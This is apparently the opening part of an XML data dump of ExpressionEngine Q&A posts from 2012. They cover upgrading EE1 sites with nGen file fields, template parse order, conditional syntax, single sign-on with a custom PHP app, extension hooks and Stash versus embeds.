[cut: only the first 33554432 bytes of this file were read]
<?xml version="1.0" encoding="utf-8"?>
<posts>
  <row Id="1" PostTypeId="1" AcceptedAnswerId="4" CreationDate="2012-11-15T19:29:13.517" Score="16" ViewCount="1272" Body="&lt;p&gt;What is the best way to upgrade a site from EE1 to EE2 that is using nGen file field with no EE2 equivalent. This site is also using nGen file inside of Matrix Fields.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="28" LastEditDate="2012-12-15T16:39:02.847" LastActivityDate="2021-07-16T01:07:55.070" Title="Upgrading an EE1 site to EE2 with nGen File field" Tags="|ee1|ee2|upgrade|add-on|matrix|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2" PostTypeId="2" ParentId="1" CreationDate="2012-11-15T19:31:25.993" Score="4" Body="&lt;p&gt;Take a look at this, I was working on upgrading a EE1 (220+ weblog) instance to EE2 a while back, I shared some of it here: &lt;a href=&quot;http://expressionengine.com/forums/viewthread/203380/#952561&quot; rel=&quot;nofollow&quot;&gt;http://expressionengine.com/forums/viewthread/203380/#952561&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2012-11-15T19:31:25.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3" PostTypeId="2" ParentId="1" CreationDate="2012-11-15T19:34:10.140" Score="14" Body="&lt;p&gt;I asked this same question for a recent EE upgrade. The answer is on Stack Overflow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/13041491/expressionengine-1-to-expressionengine-2-upgrade-with-ngen-file-field&quot;&gt;https://stackoverflow.com/questions/13041491/expressionengine-1-to-expressionengine-2-upgrade-with-ngen-file-field&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The EE2 equivalent field is Safecracker File. Worked perfectly for my upgrade.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2012-11-15T19:34:10.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4" PostTypeId="2" ParentId="1" CreationDate="2012-11-15T19:35:57.057" Score="32" Body="&lt;p&gt;The best way to do this is to proceed carefully and make backups of your database at each step of the way. I have previously &lt;a href=&quot;http://caffeinecreations.ca/blog/migrating-matrix-ngen-file-fields-to-ee2-matrix-and-native-file-field&quot;&gt;written a blog post&lt;/a&gt; on this, but will elaborate further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 1:&lt;/strong&gt; Before running your upgrade change all ngen field types to text, don't worry the data won't be lost. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2:&lt;/strong&gt; Next upgrade ExpressionEngine as per the official docs and then go back into each field and and change them to the first party file type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next step involves a little bit of database manipulation, but it's just copy and paste so don't worry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 3:&lt;/strong&gt; Do make a back up of your database before you proceed just in case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 4:&lt;/strong&gt; This next step depends whether your original nGen file field was in a standard Channel Field, or a Matrix Field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now go into your database and Replace “X” with your File field’s ID (you can get that from exp_channel_fields), and Y with the upload preference ID that nGen File Field was set to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(To find your upload preference ID in your control panel, go to Content &gt; Files &gt; File Upload Preferences. Choose the ID column on the left that matches the file upload location.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4a:&lt;/strong&gt; If updating standard Channel Fields, use this query  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_data&#xA;SET field_id_X = CONCAT('{filedir_Y}', field_id_X)&#xA;WHERE field_id_X != ''&#xA;AND field_id_X NOT LIKE '{filedir_%'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4b:&lt;/strong&gt; For matrix fields run this query instead&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_matrix_data&#xA;SET col_id_X = CONCAT('{filedir_Y}', col_id_X)&#xA;WHERE col_id_X != ''&#xA;AND col_id_X NOT LIKE '{filedir_%'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;X == your Matrix column ID (you can get that from exp_matrix_cols), and Y == your upload preference ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Credit to Brandon Kelly and Rob Sanchez.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally the same procedure can be used for other add-ons that don't exist in EE2. Convert to text before upgrade and then convert to a new equivalent field type post upgrade if needed.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="143" LastEditDate="2012-11-20T15:36:56.733" LastActivityDate="2012-11-20T15:36:56.733" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5" PostTypeId="2" ParentId="1" CreationDate="2012-11-15T19:40:14.773" Score="6" Body="&lt;p&gt;I did a lot of different trials trying different methods. In the end no single method is perfect. I've found the thread Brad suggested very useful before. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whatever method you try, make sure to backup everything twice. What I initially did was create two separate test DBs (one being a copy of the EE1 DB and a separate new EE2 DB) just to test out before the &quot;production&quot; run. Had errors the first couple of tries and then when I was satisfied did the live run.&lt;/p&gt;&#xA;" OwnerUserId="59" LastActivityDate="2012-11-15T19:40:14.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6" PostTypeId="1" AcceptedAnswerId="53" CreationDate="2012-11-15T19:56:30.800" Score="30" ViewCount="1806" Body="&lt;p&gt;What exactly is parse order and how does it impact my template code and whether I should use embedded templates, global variables, snippets, low variables, stash or any other method that I may not have heard of yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically when would I want to use early parsing vs late parsing with Low Variables. Why not just have everything early parsed? &lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="103" LastEditDate="2012-11-15T20:23:24.260" LastActivityDate="2013-08-23T07:40:59.157" Title="What is parse order and how does it affect how my template is coded/rendered?" Tags="|add-on|parse|low-variables|parse-order|template-scripting|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7" PostTypeId="1" AcceptedAnswerId="1515" CreationDate="2012-11-15T19:58:34.187" Score="26" ViewCount="5882" Body="&lt;p&gt;In general, when comparing variables in templates, I use unquoted variable names. e.g.,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == category_url_title}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If comparing to an actual value (not a variable), I quote the value. e.g.,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if count == &quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in some cases (within a Matrix or Playa field, for instance), the comparisons only work if you quote the parsed variable. e.g.,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{row_count}&quot; == &quot;{total_rows}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my questions is - why is this? Does it have to do with strings containing spaces vs those that are space-free (like segment variables, integers, and booleans)? Often it just seems random, which I don't like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also read that there is a performance hit when comparing using quoted vs unquoted syntax. Any truth to this?&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="15" LastEditDate="2012-11-15T20:10:24.767" LastActivityDate="2012-12-18T17:20:24.910" Title="Difference between quoted and unquoted comparison syntax" Tags="|comparison|ifelse|syntax|conditionals|" AnswerCount="7" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8" PostTypeId="2" ParentId="7" CreationDate="2012-11-15T20:04:35.447" Score="2" Body="&lt;p&gt;This is simply to do with parsing in my understanding. putting quotes around it seems to make a difference (from recollection during my days doing P&amp;amp;T Support) - however, I don't pretend to understand &lt;em&gt;why&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2012-11-15T20:04:35.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9" PostTypeId="1" AcceptedAnswerId="26" CreationDate="2012-11-15T20:04:37.693" Score="15" ViewCount="1084" Body="&lt;p&gt;A client has an EE2 site and wants us to setup a 3rd party app but keep it private to EE members only. How would you extend EE's member sessions to provide single sign on with a 3rd party PHP app?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The app is made up of multiple PHP files and has it's own interface. So, it won't be easy to extract into a custom plugin or module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We thought about using an iFrame to load the app into an EE page that is for members-only, but it wouldn't be hard to get the iFrame's source URL and hit it directly, bypassing the security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we're considering building a custom module that provides an EE authentication API via action ID. So, we'd create a simple is_logged_in() function that is used in the custom PHP app that sends the value of the EE session cookie to our API and the custom module would determine if it's a valid session or not. If it's not a valid session, the custom app would redirect to our EE login page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other ideas we should consider?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume for this exercise that the app runs on the same server as the EE site.&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2012-11-15T21:28:28.270" Title="How would you wrap EE authentication around a custom app?" Tags="|single-sign-on|security|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10" PostTypeId="2" ParentId="7" CreationDate="2012-11-15T20:05:59.423" Score="0" Body="&lt;p&gt;Interesting points. I'm not too sure on the reasoning behind it, but I personally take the stance that when comparing strings you should use quotation marks (as with PHP) and checking numerical or Boolean data should be without. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if this has anything to do with the parse order? Another possibility could be that these 'basic' data types have been developed so they automatically wrap a quotation mark when used in this context where as the Pixel &amp;amp; Tonic ones haven't been written in this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's a stretch!&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2012-11-15T20:05:59.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11" PostTypeId="2" ParentId="6" CreationDate="2012-11-15T20:07:10.747" Score="15" Body="&lt;p&gt;Fleshing this out further to answer (in part) your question of what is parse order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, all parse order is - is the 'order' in which ExpressionEngine takes to process (or parse) each aspect from a page being requested to the completion/render of the page to the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following is taken directly from &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;noreferrer&quot;&gt;Low's Parse Order&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Read URI to determine template&#xA; Get template from DB, check permissions &amp;amp; authentication&#xA; Get template from ﬁle&#xA; Return static template&#xA;1. Parse snippets / global variables, segment variables and embed variables *&#xA; Parse date string constants&#xA; Parse {template_edit_date} and {current_time}&#xA; If present, get cached template, then go to #7&#xA;2. Parse PHP on Input&#xA;3. Parse simple conditionals: segment, embed, global variables&#xA;4. Assign and parse preload_replace variables&#xA;5. Parse module and plugin tags&#xA;6. Parse PHP on Output&#xA; Write cache ﬁle&#xA;7. Parse advanced conditionals&#xA;8. Process embedded templates&#xA;Redirect&#xA;9. Parse User Deﬁned global variables and others.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18" LastEditorUserId="18" LastEditDate="2012-11-16T09:27:35.017" LastActivityDate="2012-11-16T09:27:35.017" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12" PostTypeId="2" ParentId="9" CreationDate="2012-11-15T20:11:06.040" Score="1" Body="&lt;p&gt;Perhaps you could build a wee API that returns a JSON or xml file for the active user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something along the lines of..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Logged in&lt;/strong&gt; True&#xA;&lt;strong&gt;Username&lt;/strong&gt; joe.bloggs&#xA;&lt;strong&gt;Email&lt;/strong&gt; joe.blogs@gmail.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a simple login template that could be popped up if the result of the above was false. Once they login refresh the page and their details would be good as gold. Additionally you could perhaps have the user ID in that file so you can actually connect to the SQL and grab more data that way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The method I've described is purely hypothetical and I'm not sure if it would work - but it is based on the same basic theory of Facebook Connect. &lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2012-11-15T20:11:06.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13" PostTypeId="1" AcceptedAnswerId="17" CreationDate="2012-11-15T20:11:39.717" Score="9" ViewCount="187" Body="&lt;p&gt;I would like to make sure an extension isn't run, via &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/session/index.html#sessions-end&quot; rel=&quot;noreferrer&quot;&gt;sessions_end hook&lt;/a&gt;, in the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently doing this like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;EE-&amp;gt;input-&amp;gt;get_post('D') == &quot;cp&quot;)&#xA;{&#xA;    return FALSE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question: is there a better or prefered method of having an extension only run a hook on the frontend and not in the CP?&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2012-11-28T06:49:28.667" LastActivityDate="2012-11-28T06:49:28.667" Title="Turn off extension in Control Panel" Tags="|add-on|extension|hook|session-end-hook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14" PostTypeId="2" ParentId="7" CreationDate="2012-11-15T20:12:15.773" Score="21" Body="&lt;p&gt;Using quotes makes it an advanced conditional which has a different parse order than simple conditionals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a simple conditional.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == &quot;category&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While this is parsed as an advanced conditional.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{segment_2}&quot; == &quot;category&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think that explains why you have to put quotes around the P&amp;amp;T variables. Basic conditionals are parsed before module and plugin tags, so the value of {total_rows} won't be determined in time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advanced conditionals are parsed after module and plugin tags, so by then you'll know the value of {total_rows}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://expressionengine.com/user_guide/templates/globals/conditionals.html&quot;&gt;More on conditionals here.&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot;&gt;Here is more on parse order from the parse order master.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2012-11-15T20:12:15.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15" PostTypeId="2" ParentId="9" CreationDate="2012-11-15T20:16:04.870" Score="6" Body="&lt;p&gt;Take a look at system/expressionengine/libraries/Auth.php. You should have all the available methods at your disposal to properly create any member session without actually submitting a login form. The ACT would work well I think, provided you pass all the other correct information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a very minimal example of the proposed process.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Grab the member record using a standard ActiveRecord query&#xA;$this-&amp;gt;db-&amp;gt;where('username', 'some_user');&#xA;$member = $this-&amp;gt;db-&amp;gt;get('members');&#xA;&#xA;// Instantiate the Auth_results, which created the user session&#xA;$result = new Auth_result($member-&amp;gt;row());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-11-15T20:16:04.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17" PostTypeId="2" ParentId="13" CreationDate="2012-11-15T20:18:54.923" Score="17" Body="&lt;p&gt;That should work fine, but you can also check the &lt;code&gt;REQ&lt;/code&gt; constant (&lt;a href=&quot;http://expressionengine.com/user_guide/development/constants.html#request-constants&quot;&gt;docs&lt;/a&gt;) which has the following possible values:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;CP&lt;/code&gt; - Control panel requests&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;PAGE&lt;/code&gt; - Frontend template requests&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ACTION&lt;/code&gt; - Module actions, e.g. mysite.com/?ACT=123&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (REQ == 'CP')&#xA;{&#xA;    return FALSE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="77" LastEditorUserId="16" LastEditDate="2012-11-15T20:50:04.907" LastActivityDate="2012-11-15T20:50:04.907" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18" PostTypeId="2" ParentId="6" CreationDate="2012-11-15T20:21:01.957" Score="12" Body="&lt;p&gt;Here's a link to Low's foundational pdf -- it's got some more detail which can be useful, and it will am sure update as knowledge grows or EE is extended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot;&gt;http://loweblog.com/downloads/ee-parse-order.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since he will likely not do it, I'll also give a link where Low discusses parse order in detail, and in relation to his very well regarded Low Variables, which allow you among other things to work positively with parse order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gotolow.com/blog/parse-order-and-low-variables&quot;&gt;http://gotolow.com/blog/parse-order-and-low-variables&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are all important topics, because as programmer-experienced person discover on encountering EE, it's not a conventional scripting language. That's very possibly some of its advantage for more pure designers, as was the original intention.&lt;/p&gt;&#xA;" OwnerUserId="103" LastActivityDate="2012-11-15T20:21:01.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19" PostTypeId="2" ParentId="7" CreationDate="2012-11-15T20:21:37.300" Score="5" Body="&lt;p&gt;When you put quotes around a variable/tag, the template parser first needs to parse the variables and then it will execute the conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Module tags/variables (what do we call them these days?) always have to be done with quotes since the template parser first needs to parse the variable/tag to find out it's value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will force the conditional to be parsed at a later stage in the parse order.&#xA;Otherwise known as: &lt;a href=&quot;http://expressionengine.com/user_guide/templates/globals/conditionals.html#advanced-conditionals&quot; rel=&quot;noreferrer&quot;&gt;Advanced Conditionals&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2012-11-15T20:21:37.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20" PostTypeId="1" AcceptedAnswerId="44" CreationDate="2012-11-15T20:26:09.050" Score="4" ViewCount="102" Body="&lt;p&gt;I've been working on a site for about a year now without issue.  There's a good number of channels and entries (about 11/2000+).  Within that last couple weeks, I seen something strange happen.  The channel ID's in the database seem to be in correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Vendors channel_id = 4 in the exp_channels table&lt;/li&gt;&#xA;&lt;li&gt;in exp_channel_titles, channel_id 4 correlates to the title for the blog channel (channel 5).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Has anyone ever experienced this before?  I'm trying to go through and fix this, but it's now causing more issues (IE: when you go to a page with a safecracker form it's not pulling in the channel fields for that channel).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have I completely screwed myself?  How can I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2012-11-16T06:16:08.497" Title="Database Channel ID Error" Tags="|ee2|database|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21" PostTypeId="1" AcceptedAnswerId="168" CreationDate="2012-11-15T20:30:10.423" Score="19" ViewCount="1658" Body="&lt;p&gt;I am using Stash only recently and was wondering how the performance is boosted over using embeds? I know there are a few less queries used in general, and I know you can subvert the parse order, but is there better reason to use it in templates? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a simple blog page with embeds and one with a layout partial and stash for the same exact content and there was little or no difference in {elapsed_time} - however for some reason there was one more query for the 'stashed' version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The effort it is taking to think 'inside out' with stash, I am wondering what the big benefit it is over embeds with good caching?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code would be included in an embed: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;3&quot;}&#xA;    &amp;lt;div class=&quot;recent-post&quot;&amp;gt;&#xA;       &amp;lt;a href=&quot;{site_url}blog/{url_title}&quot; class=&quot;thumb&quot;&amp;gt;{exp:ce_img:single src=&quot;{blog_image}&quot; height=&quot;54&quot; width=&quot;54&quot; crop=&quot;yes&quot;}&amp;lt;/a&amp;gt;&#xA;        &amp;lt;div class=&quot;post-head&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{site_url}blog/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;span&amp;gt;{entry_date format=&quot;%d/%m/%Y&quot;}&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Vs this 'stashed':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;3&quot;}&#xA;{exp:stash:append name=&quot;recent_blogs&quot;}&#xA;&amp;lt;div class=&quot;recent-post&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;{site_url}blog/{url_title}&quot; class=&quot;thumb&quot;&amp;gt;{exp:ce_img:single src=&quot;{blog_image}&quot; height=&quot;54&quot; width=&quot;54&quot; crop=&quot;yes&quot;}&amp;lt;/a&amp;gt;&#xA;    &amp;lt;div class=&quot;post-head&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{site_url}blog/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;span&amp;gt;{entry_date format=&quot;%d/%m/%Y&quot;}&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:stash:append}&#xA;{/exp:channel:entries}&#xA;{exp:stash:get name=&quot;recent_blogs&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="99" LastEditorUserId="780" LastEditDate="2016-07-21T20:08:52.667" LastActivityDate="2016-07-21T20:08:52.667" Title="Stash vs. Embeds" Tags="|stash|embeds|performance|cache|dry|" AnswerCount="6" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22" PostTypeId="1" AcceptedAnswerId="146" CreationDate="2012-11-15T20:35:15.150" Score="9" ViewCount="156" Body="&lt;p&gt;As we all know, automatic conversion for EE1 sites were promised but never delivered, and there are sites with very sizable image galleries which have yet to be upgraded because of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The baseline has likely been writing an entire new gallery solution using Pixel&amp;amp;Tonic Matrix, but this is a developer-level solution, due to the original Gallery's range of features. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE's practical intents for designers and web-site owners are a very important part of its abilities, so how do we best serve this?&lt;/p&gt;&#xA;" OwnerUserId="103" LastEditorUserId="15" LastEditDate="2012-11-15T20:45:22.007" LastActivityDate="2012-11-21T07:58:06.690" Title="What are current realistic, designer-suitable solutions for converting an EE1 site's image galleries to EE2?" Tags="|ee2|upgrade|ee2-upgrades|image-galleries|ee1|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23" PostTypeId="1" AcceptedAnswerId="49" CreationDate="2012-11-15T20:39:17.833" Score="4" ViewCount="261" Body="&lt;p&gt;The &quot;paginate&quot; loop within the channel:entries tag used to render even when no next or previous links would need to render. This seems like it may have been &quot;fixed&quot; in response to a bug report here: &lt;a href=&quot;http://expressionengine.com/bug_tracker/bug/11298/&quot; rel=&quot;nofollow&quot;&gt;http://expressionengine.com/bug_tracker/bug/11298/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this change this leaves no way that I can find to test to see whether pagination is without resorting to PHP in my template. PHP does seem to solve the problem but I wondered if anyone else has a way to do this with native EE code. &lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="77" LastEditDate="2012-11-16T17:49:10.273" LastActivityDate="2012-11-16T17:49:10.273" Title="A conditional for &quot;paginate&quot; loop rendering needed" Tags="|pagination|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24" PostTypeId="2" ParentId="9" CreationDate="2012-11-15T20:51:10.087" Score="4" Body="&lt;p&gt;I would develop an EE add-on that implements an SSO (single sign on) protocol, like oauth or SAML: &lt;a href=&quot;http://en.wikipedia.org/wiki/Security_Assertion_Markup_Language&quot; rel=&quot;noreferrer&quot;&gt;http://en.wikipedia.org/wiki/Security_Assertion_Markup_Language&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then have the the 3rd party app authenticate the user using their EE credentials, which would get passed back and forth between EE and the app using oauth, saml, or some other open authentication protocol.&lt;/p&gt;&#xA;" OwnerUserId="113" LastActivityDate="2012-11-15T20:51:10.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25" PostTypeId="2" ParentId="21" CreationDate="2012-11-15T21:05:58.987" Score="13" Body="&lt;p&gt;You'll probably need to show more of your template code but where Stash could benefit you is that you could use a single channel entries tag to output both the single entry view data and the recent blog posts at the same time. &lt;a href=&quot;https://gist.github.com/3973821&quot;&gt;Here's a good example&lt;/a&gt; from Mark Croxton which shows how he approaches a similar thing.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2012-11-15T21:05:58.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26" PostTypeId="2" ParentId="9" CreationDate="2012-11-15T21:28:28.270" Score="3" Body="&lt;p&gt;It's worth bearing in mind that EE has plenty of hooks to make this sort of thing easier - &lt;a href=&quot;http://expressionengine.com/user_guide/development/extension_hooks/global/session/index.html#sessions-end&quot; rel=&quot;nofollow&quot;&gt;sessions_end&lt;/a&gt; and &lt;a href=&quot;http://expressionengine.com/user_guide/development/extension_hooks/module/member_auth/index.html#member-member-logout&quot; rel=&quot;nofollow&quot;&gt;member_member_logout&lt;/a&gt; are a couple that would be worth looking at. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on whether or not your app has a built in authentication library it would probably be fairly simple to write an extension that initiates a new session within your app. You'd just need to include the relevant assets and fire off a call to &lt;code&gt;MyApp::Authenticate($session_id)&lt;/code&gt; when the EE session is created. When the EE logout hook's called you'd clear out your app's session via  &lt;code&gt;MyApp::DestroySession($session_id)&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-11-15T21:28:28.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27" PostTypeId="1" AcceptedAnswerId="28" CreationDate="2012-11-15T21:58:51.737" Score="5" ViewCount="100" Body="&lt;p&gt;When creating a custom Control Panel theme, with the help of an &lt;a href=&quot;http://expressionengine.com/user_guide/development/cp_styles/index.html#overriding-control-panel-style&quot; rel=&quot;noreferrer&quot;&gt;override.css file&lt;/a&gt;, the easiest way is to make a copy of the default theme's image folder and put that in your theme directory. Then, make changes to the images located in that folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you like to give away or sell a custom theme, how do you distribute the images folder (since I guess all icons not changed by you is licensed by EllisLab) and still make it a easy install?&lt;/p&gt;&#xA;" OwnerUserId="122" LastActivityDate="2012-11-18T13:14:13.430" Title="Distribute images in a custom Control Panel theme?" Tags="|cp-themes|license|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28" PostTypeId="2" ParentId="27" CreationDate="2012-11-15T22:02:10.530" Score="1" Body="&lt;p&gt;As I understand it, the principle over the override is that you only include files/images and include changes - the rest are inherited from the parent (default) theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, you don't need to include all of EL images with it.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2012-11-15T22:02:10.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
